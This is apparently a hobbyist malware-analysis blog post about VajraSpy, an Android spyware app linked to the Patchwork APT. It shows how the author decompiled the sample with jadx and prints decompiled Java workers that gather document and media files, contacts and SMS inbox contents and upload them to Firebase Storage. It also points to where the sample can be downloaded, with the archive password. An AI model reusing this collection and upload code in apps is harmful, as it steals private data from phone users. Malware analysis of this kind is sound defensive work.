Vajra Spy - An Android Malware

Introduction

VajraSpy is an android infostealer by an Indian APT “Patchwork” aka “Dropping Elephant” aka “Quilted Tiger” aka “VajraElph”. VajraSpy was a malware used in a campaign against various targets, mostly with geopolitical rivalries against India.

Table of Contents

Discovery

First discovery of VajraSpy is commonly attributed to ESET (1), following which, multiple other security groups and researchers acknowledged the malware and published reports on it.

Context

I came to know about VajraSpy earlier this year and it interested me because of two reasons primarily. Firstly, it was an APT from India and secondly, it was an android malware. I had dabbled a little bit with android RATs a couple years ago with metasploit but hadn’t yet seen such malware.

This was a learning experience for me and would be my first actual malware analysis. Questions, comments and criticisms are welcome at pratyakshaberi@gmail.com and I hope y’all can follow along.

Sample

The sample can be found at VX-Underground (4). I recommend checking out VX-Underground if you haven’t already. They have the biggest collection of malware out there on the internet. (The password is infected btw :) )

Walkthrough

I was unaware of how APK files worked except that they were loosely related to zip files in some way. I tried unzipping the malware and opening that up in VSCode. I was able to access some assets but was unable to see any real readable code. From the initial assessment of the assets, I could see that the app used firebase in some capacity.

This malware was designed to be a chat application, so that would explain it using firebase. (or would it?)

I could see some .dex files and multiple other binaries that I wasn’t able to open in VSCode. It turns out that APK files are actually not just zip files but also compiled java files (duh). Based on some quick googling, I was able to find out that I could use a tool called jadx to decompile and view these files. Thankfully for us, Remnux comes preinstalled with jadx. To unpack an apk file you just run the following command.

jadx <apk-filename>

Upon doing that I saw a lot of java code (yay) but also it was A LOT of java code.

I started going through each of the files and most of the stuff was regular chat application code and plugins etc.

To go through each file and read the code would be an exercise in futility especially since the people who wrote this malware probably didn’t do that themselves. We could skip this easily by using a hint. Imagine if you were a threat actor from India, trying to exfiltrate some data from an enemy nation. Where would you look? Where would your enemy store their private conversations?

It would be end-to-end encrypted messaging apps. Which end-to-end encryption apps are the most popular? I would guess Whatsapp, and Signal.

Now for most malwares, it would be a far shot to just search for a string and be able to find it, but because of VajraSpy’s lack of obfuscation and honestly, its inability to be bothered by people analysing it, led us to finding the plaintext string “whatsapp” in one of the files.

The file was named UserDataUploadWorker.java.

The file name and file data give out more information than I expected them to.

Workers are used to run a task in the background which guarantees that the task is completed in the background and is deferrable, i.e. it can be delayed.

It is understandable why such a malware wants to run a worker but a legitimate chat application might also need to run such a worker, which would explain the delayed detection of VajraSpy.

Let’s take a look at some of this code.

 for (File file2 : listFiles) {
                if (file2.isDirectory()) {
                    arrayList.addAll(getListFiles(file2));
                } else if (!this.cloudFiles.contains(file2.getName())) {
                    int i2 = 2;
                    int i3 = file2.length() / 10000000 <= 0 ? 1 : 2;
                    if (file2.getAbsolutePath().contains("/WhatsApp/")) {
                        i = 1;
                    } else if (file2.getAbsolutePath().contains("/Download/")) {
                        i = 2;
                    } else {
                        i = file2.getAbsolutePath().contains("/Documents/") ? 3 : 4;
                    }
                    if (file2.getName().endsWith(".pdf")) {
                        i2 = 1;
                    } else if (!file2.getName().endsWith(".doc")) {
                        if (file2.getName().endsWith(".docx")) {
                            i2 = 3;
                        } else if (file2.getName().endsWith(".txt")) {
                            i2 = 4;
                        } else if (file2.getName().endsWith(".ppt")) {
                            i2 = 5;
                        } else if (file2.getName().endsWith(".pptx")) {
                            i2 = 6;
                        } else if (file2.getName().endsWith(".xls")) {
                            i2 = 7;
                        } else if (file2.getName().endsWith(".xlsx")) {
                            i2 = 8;
                        } else if (file2.getName().endsWith(".jpg")) {
                            i2 = 9;
                        } else if (file2.getName().endsWith(".jpeg")) {
                            i2 = 10;
                        } else if (file2.getName().endsWith(".png")) {
                            i2 = 11;
                        } else if (file2.getName().endsWith(".mp3")) {
                            i2 = 12;
                        } else if (file2.getName().endsWith(".Om4a")) {
                            i2 = 13;
                        } else if (file2.getName().endsWith(".aac")) {
                            i2 = 14;
                        } else {
                            i2 = file2.getName().endsWith(".opus") ? 15 : 16;
                        }
                    }

This code finds Powerpoint files, Excel files, Word files, pdf files, image files, audio files etc. and stores them in an array list. It then supposedly exfiltrates them in the background to firebase.

Similar workers are present for uploading uploading contacts and SMSes to firebase. The relevant codeblocks are pasted below:

File: UserContactsUploadWorker.java

    private void uploadContacts() {
        StringBuilder sb = new StringBuilder();
        Cursor query = getApplicationContext().getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, "display_name ASC");
        if (query.getCount() > 0) {
            while (query.moveToNext()) {
                if (Integer.parseInt(query.getString(query.getColumnIndex("has_phone_number"))) > 0) {
                    String string = query.getString(query.getColumnIndex("_id"));
                    String string2 = query.getString(query.getColumnIndex("display_name"));
                    sb.append("Name: ");
                    sb.append(string2);
                    sb.append('\t');
                    Cursor query2 = getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = ?", new String[]{string}, null);
                    if (query2.moveToNext()) {
                        String string3 = query2.getString(query2.getColumnIndex("data1"));
                        sb.append("Phone Number: ");
                        sb.append(string3);
                        sb.append('\n');
                    }
                    query2.close();
                }
            }
        }
        query.close();
        String sb2 = sb.toString();
        File file = new File(getApplicationContext().getFilesDir(), "contacts.txt");
        try {
            FileWriter fileWriter = new FileWriter(file);
            fileWriter.append((CharSequence) sb2);
            fileWriter.flush();
            fileWriter.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        Uri fromFile = Uri.fromFile(file);
        this.mStorageRef.child(this.currentUser.getPhoneNumber() + "/contacts//contacts.txt").putFile(fromFile).addOnSuccessListener((OnSuccessListener) new OnSuccessListener<UploadTask.TaskSnapshot>() { // from class: com.priv.talk.workers.UserContactsUploadWorker.2
            public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
                Log.d("InvitationPage", "Listener Upload successful");
            }

File: UserSMSUploadWorker.java

    private void uploadSMS() {
        StringBuilder sb = new StringBuilder();
        Cursor query = getApplicationContext().getContentResolver().query(Uri.parse("content://sms/inbox"), new String[]{"address", "date", "body"}, null, null, null);
        if (query.moveToFirst()) {
            do {
                for (int i = 0; i < query.getColumnCount(); i++) {
                    sb.append(MinimalPrettyPrinter.DEFAULT_ROOT_VALUE_SEPARATOR);
                    sb.append(query.getColumnName(i));
                    sb.append(":");
                    sb.append(query.getString(i));
                    sb.append('\n');
                }
                sb.append("\n\n");
            } while (query.moveToNext());
            query.close();
            String sb2 = sb.toString();
            File file = new File(getApplicationContext().getFilesDir(), "sms.txt");
            try {
                FileWriter fileWriter = new FileWriter(file);
                fileWriter.append((CharSequence) sb2);
                fileWriter.flush();
                fileWriter.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
            Uri fromFile = Uri.fromFile(file);
            this.mStorageRef.child(this.currentUser.getPhoneNumber() + "/sms/sms.txt").putFile(fromFile).addOnSuccessListener((OnSuccessListener) new OnSuccessListener<UploadTask.TaskSnapshot>() { // from class: com.priv.talk.workers.UserSMSUploadWorker.2
                public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
                    Log.d("SMS", "Listener Upload successful");
                }
            }).addOnFailureListener((OnFailureListener) new OnFailureListener() { // from class: com.priv.talk.workers.UserSMSUploadWorker.1
                @Override // com.google.android.gms.tasks.OnFailureListener
                public void onFailure(Exception exc) {
                    exc.printStackTrace();
                    Log.d("SMS", "Listener Upload not successful");
                    Log.d("Firebase", "onFailure: Upload Failed" + exc.toString());
                }
            });
        }
        query.close();
        String sb22 = sb.toString();
        File file2 = new File(getApplicationContext().getFilesDir(), "sms.txt");
        FileWriter fileWriter2 = new FileWriter(file2);
        fileWriter2.append((CharSequence) sb22);
        fileWriter2.flush();
        fileWriter2.close();
        Uri fromFile2 = Uri.fromFile(file2);
        this.mStorageRef.child(this.currentUser.getPhoneNumber() + "/sms/sms.txt").putFile(fromFile2).addOnSuccessListener((OnSuccessListener) new OnSuccessListener<UploadTask.TaskSnapshot>() { // from class: com.priv.talk.workers.UserSMSUploadWorker.2
            public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
                Log.d("SMS", "Listener Upload successful");
            }
        }).addOnFailureListener((OnFailureListener) new OnFailureListener() { // from class: com.priv.talk.workers.UserSMSUploadWorker.1
            @Override // com.google.android.gms.tasks.OnFailureListener
            public void onFailure(Exception exc) {
                exc.printStackTrace();
                Log.d("SMS", "Listener Upload not successful");
                Log.d("Firebase", "onFailure: Upload Failed" + exc.toString());
            }
        });

For a while I thought this was the only finding in for this malware. It’s not.

I decided to look into more samples and surprise surprise, I found another peice of code that I hadn’t seen before. In file MainActivity.java from classes3.dex, it exfiltrates Signal and Whatsapp/Whatsapp Business SQLite database (wabs.json, wab.json etc.) and uploads it to firebase.

The code is too large to be shown here. As most math books tell you, this is left as an exercise to the reader.

Contrary to some online reports, I have not seen any code to suggest that this is a RAT, or that it would execute any code, give access to the attacker, however, I may have missed it or it may have been present in a different sample that I do not have access to. If you do find such code, feel free to email me!


Sources and Further Reading

1. https://www.welivesecurity.com/en/eset-research/vajraspy-patchwork-espionage-apps/

2. https://labs.k7computing.com/index.php/vajraspy-an-android-rat/

3. https://www.ctfiot.com/37555.html

4. https://vx-underground.org/APTs/2024/2024.02.01%20-%20VajraSpy:%20A%20Patchwork%20of%20espionage%20apps/Samples

Written on August 5, 2024